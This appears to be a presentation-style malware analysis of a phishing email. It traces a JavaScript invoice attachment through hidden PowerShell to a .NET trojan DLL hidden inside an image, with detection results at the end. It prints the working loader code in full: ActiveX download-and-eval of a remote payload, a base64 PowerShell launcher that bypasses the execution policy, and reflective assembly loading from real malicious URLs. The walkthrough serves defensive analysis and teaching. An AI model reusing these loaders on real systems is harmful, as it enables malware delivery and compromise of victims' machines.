Creative but terrible phishing

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TLP:CLEAR

Can you spot the red flags ?

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23/05/2024 06:46

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Best regards
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Neureutstr. 6
75210 Keltern
Germany

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Fax: +49 (0)7231 9777-99

www.eve-rotary.com

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USt.-ID-Nr. / VAT-No.: DE 192 465 622
Sitz / Based in: Keltern

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Let’s dive into it !

HERE = https://babaszepsegverseny.hu/INVOICE.js

“It is very dangerous, but I will still do it !”

WTF ?



```
var haplanto = [];

function oratoriano(abacateiro)
{
    if (!abacateiro)
        return
    haplanto.oratoriano(p)
    annona
    return p
}

function pecunia(str) {
    return str.split("").reverse().join("");
}
```

```
var cristel = new ActiveXObject("MSXML2.XMLHTTP");
var corripo = pecunia("X1GMM/d/ee.etsap//:sptth");
cristel.open("GET", corripo, false);
cristel.send();

var focinho = "";
if (cristel.status === 200) {
    focinho = cristel.responseText;
}

function cortonomia(colleccionista)
{
    eval(colleccionista);
}
cortonomia(focinho);
```

```
cristel = null;
function hypotheca()
{
    if (haplanto.convosco === 0)
        return null
    var abacateiro = haplanto.hypotheca()
    mantelado
    return abacateiro
}

function pluviometria()
{
    if (haplanto.convosco === 0)
        return null
    return haplanto[haplanto.convosco-1]
}
```

Follow the link

echo "X1GMM/d/ee.etsap//:sptth" | rev

https://paste.ee/d/MMG1X

Junk Code

```
// PSK NameSpace's
var pskNs = "http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords";
var psk11Ns = "http://schemas.microsoft.com/windows/2013/05/printing/printschemakeywordsv11";
var psk12Ns = "http://schemas.microsoft.com/windows/2013/12/printing/printschemakeywordsv12";

// psf NameSpace's
var psf2Ns = "http://schemas.microsoft.com/windows/2013/12/printing/printschemaframework2";
var psfNs = "http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework";

// XML Schema NameSpace's
var xsiNs = "http://www.w3.org/2001/XMLSchema-instance";
var xsdNs = "http://www.w3.org/2001/XMLSchema";

// PDF driver NameSpace
var pdfNs = "http://schemas.microsoft.com/windows/2015/02/printing/printschemakeywords/microsoftprinttopdf";


function completePrintCapabilities(printTicket, scriptContext, printCapabilities) {
    /// <param name="printTicket" type="IPrintSchemaTicket" mayBeNull="true">
    ///     If not 'null', the print ticket's settings are used to customize the print capabilities.
    /// </param>
    /// <param name="scriptContext" type="IPrinterScriptContext">
    ///     Script context object.
    /// </param>
    /// <param name="printCapabilities" type="IPrintSchemaCapabilities">
    ///     Print capabilities object to be customized.
    /// </param>

    // Get PrintCapabilites XML node
    var xmlCapabilities = printCapabilities.XmlNode;

    var rootCapabilities;
    // Set Standard namespaces with prefixes
    SetStandardNameSpaces(xmlCapabilities);

    rootCapabilities = xmlCapabilities.selectSingleNode("psf:PrintCapabilities");

    if (rootCapabilities != null) {
        var pdcConfig = scriptContext.QueueProperties.GetReadStreamAsXML("PrintDeviceCapabilities");
        SetStandardNameSpaces(pdcConfig);

        // Get PDC root XML Node
        var pdcRoot = pdcConfig.selectSingleNode("psf2:PrintDeviceCapabilities");
        // Get all ParameterDef nodes in PDC
        var parameterDefs = pdcRoot.selectNodes("*[@psf2:psftype='ParameterDef']");
        // Get prefix for PDF namespace
        var pdfNsPrefix = getPrefixForNamespace(xmlCapabilities, pdfNs);

        // Convert PDC ParameterDefs Nodes to PrintCapabilites ParameterDefs Nodes
        for (var defCount = 0; defCount < parameterDefs.length; defCount++) {
            var pdcParameterDef = parameterDefs[defCount];
            var capabilitiesParamDef = CreateCapabilitiesParamDefFromPDC(pdcParameterDef, pdfNsPrefix, printCapabilities);
            rootCapabilities.appendChild(capabilitiesParamDef);
        }
    }
}

```

Well...

```
try {
    var junho =
"ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5
OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLk
xlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREY
XRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpb
WFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanVuaW5nPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWItYWdlbnMuY2
9tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/
MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21NaW5rcyAkbGlua3M7IGlmICg$aW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltY
WdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUI5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFS
VD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID
0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3Rh
cnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NEx1bmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbW
FnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNj
RTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZX
MpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT1BBQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCg
nVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgnd Hh0LmJiLzQzMS4wNy42MTIuNTgxLy86cHR0aCcgLCAnZGVzYXRpdmFkbycgLCAnZGVzYXRpdm
FkbycgLCAnZGVzYXRpdmFkbycsJ2pzYycsJ2Rlc2F0aXZhZG8nKSI9IQ==";
    var fronde = new ActiveXObject("WScript.Shell");
    var angulete = "$Codigo = '" + junho + "';";
    angulete += "$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));";
    angulete += "powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD";
    fronde.Run("powershell -command \"" + angulete + "\"", 0, false);
} catch (error) {

}
```

More code...

```
function DownloadDataFromLinks {
    param ([string[]]$links)
    $webClient = New-Object System.Net.WebClient;
    $downloadedData = @();
    $shuffledLinks = $links | Get-Random -Count $links.Length;
    foreach ($link in $shuffledLinks) {
        try {
            $downloadedData += $webClient.DownloadData($link)
        } catch {
            continue
        }
    };
    return $downloadedData
};
$links =
@('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778',
'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778');
$imageBytes = DownloadDataFromLinks $links;
if ($imageBytes -ne $null) {
    $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
    $startFlag = '<<BASE64_START>>';
    $endFlag = '<<BASE64_END>>';
    $startIndex = $imageText.IndexOf($startFlag);
    $endIndex = $imageText.IndexOf($endFlag);
    if ($startIndex -ge 0 -and $endIndex -gt $startIndex) {
        $startIndex += $startFlag.Length;
        $base64Length = $endIndex - $startIndex;
        $base64Command = $imageText.Substring($startIndex, $base64Length);
        $commandBytes =
[System.Convert]::FromBase64String($base64Command);
        $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
        $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home');
        $method = $type.GetMethod('VAI').Invoke($null, [object[]] (
            'txt.bb/431.07.612.581//:ptth' ,
            'desativado' ,
            'desativado' ,
            'desativado',
            'jsc',
            'desativado'
        ))
    }
}
```

Nice picture !





But it looks strange...



Result

```
MZ◆◆◆◆@◆◆◆      ◆!◆L◆!This program cannot be run in DOS mode.
$PEL◆)◆◆"
          0◆◆◆+ ◆+ ,@◆◆◆+O◆+◆+
                                H◆+ H.text8◆+ ◆+ `.rsrc◆+◆+@@.reloc
                                                                  ◆+◆+@B□+HD◆◆K0(◆◆□+◆"(L
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 rEpsM
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```

res.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

7230cc614270dca79415b0cf53a666a219beb4beed90c85a1ac09f082aea613b res.bin

It’s a trap !

48 / 74

Community Score

48/74 security vendors and no sandboxes flagged this file as malicious

Reanalyze Similar More

7230cc614270dca79415b0cf53a666a219beb4beed90c85a1ac09f082aea613b

System.Management.Automation.dll

pedll assembly

Size 2.73 MB

Last Modification Date 5 days ago

DLL

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 2

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label trojan.msil/msilheracles

Threat categories trojan downloader

Family labels msil msilheracles cufzt

Security vendors' analysis

Do you want to automate checks?

AhnLab-V3	Trojan/Win.Generic.C5603077	Alibaba	TrojanDownloader:MSIL/Injector.5a506d42
AliCloud	Trojan[downloader]:MSIL/Injector.UIK	ALYac	Trojan.Agent.MSIL.Injector
Antiy-AVL	Trojan/Win32.Agent	Arcabit	Trojan.MSILHeracles.D2659C
Avast	Win32:InjectorX-gen [Trj]	Avert Labs	Artemis!56115D18274B
AVG	Win32:InjectorX-gen [Trj]	Avira (no cloud)	TR/Injector.cufzt
BitDefender	Gen:Variant.MSILHeracles.157084	Bkav Pro	W32.Common.0B0C3A85
Cylance	Unsafe	DeepInstinct	MALICIOUS
Emsisoft	Gen:Variant.MSILHeracles.157084 (B)	eScan	Gen:Variant.MSILHeracles.157084

Let’s sum up

- Windows malware (DLL)
- Embeded in a picture
- Downloaded from a PowerShell script
- Downloaded from a JavaScript
- Downloaded from a JavaScrpit
- Executed in a web page
- From a link in an (phishing) e-mail


Thank you !